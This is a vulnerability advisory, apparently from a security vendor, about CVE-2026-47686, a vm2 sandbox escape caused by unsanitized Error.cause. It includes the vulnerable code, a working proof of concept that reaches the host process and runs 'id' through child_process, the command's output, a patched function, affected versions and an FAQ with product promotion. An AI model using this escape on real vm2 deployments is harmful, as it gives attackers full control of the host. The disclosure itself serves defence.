CVE-2026-47686

VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE

function handleException(e, visited) {
    e = ensureThis(e);
    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
    // ... cycle detection ...
    while (proto !== null) {
        if (proto === localSuppressedErrorProto) {
            e.error = handleException(e.error, visited);      // sanitized
            e.suppressed = handleException(e.suppressed, visited); // sanitized
            return e;
        }
        if (proto === localAggregateErrorProto) {
            // sanitizes e.errors[] ...
            return e;
        }
        proto = localReflectGetPrototypeOf(proto);
    }
    return e; // .cause is NEVER checked
}

const { VM } = require('vm2');

const vm = new VM({
    sandbox: {
        hostFn: () => {
            throw new Error('fail', { cause: process });
        }
    }
});

const result = vm.run(`
    try {
        hostFn();
    } catch (e) {
        // .cause is not sanitized, so we get a direct reference to host process
        const proc = e.cause;
        proc.mainModule.require('child_process').execSync('id').toString();
    }
`);

console.log(result);

uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...

Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:

• Full host process access (read/write files, spawn processes, network access)
• Sandbox escape with changed scope (CVSS S:C)
• No user interaction required

The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.

CVE-2026-47686 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.6); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Add .cause sanitization before the prototype-chain walk, so it applies to all error types:

function handleException(e, visited) {
    e = ensureThis(e);
    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
    if (!visited) visited = new LocalWeakMap();
    if (apply(localWeakMapGet, visited, [e])) return e;
    apply(localWeakMapSet, visited, [e, true]);

    // Sanitize .cause on ALL errors (ES2022)
    try {
        if ('cause' in e) {
            e.cause = handleException(e.cause, visited);
        }
    } catch (ex) { /* best effort */ }

    let proto = localReflectGetPrototypeOf(e);
    while (proto !== null) {
        if (proto === localSuppressedErrorProto) {
            e.error = handleException(e.error, visited);
            e.suppressed = handleException(e.suppressed, visited);
            return e;
        }
        if (proto === localAggregateErrorProto) {
            if (localArrayIsArray(e.errors)) {
                for (let i = 0; i < e.errors.length; i++) {
                    e.errors[i] = handleException(e.errors[i], visited);
                }
            }
            return e;
        }
        proto = localReflectGetPrototypeOf(proto);
    }
    return e;
}

docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.

1. What is CVE-2026-47686? CVE-2026-47686 is a critical-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.5. It is fixed in 3.11.6.
2. How severe is CVE-2026-47686? CVE-2026-47686 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of vm2 are affected by CVE-2026-47686? vm2 (npm) versions <= 3.11.5 is affected.
4. Is there a fix for CVE-2026-47686? Yes. CVE-2026-47686 is fixed in 3.11.6. Upgrade to this version or later.
5. Is CVE-2026-47686 exploitable, and should I be worried? Whether CVE-2026-47686 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47686 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47686? Upgrade vm2 to 3.11.6 or later.

Other vulnerabilities in vm2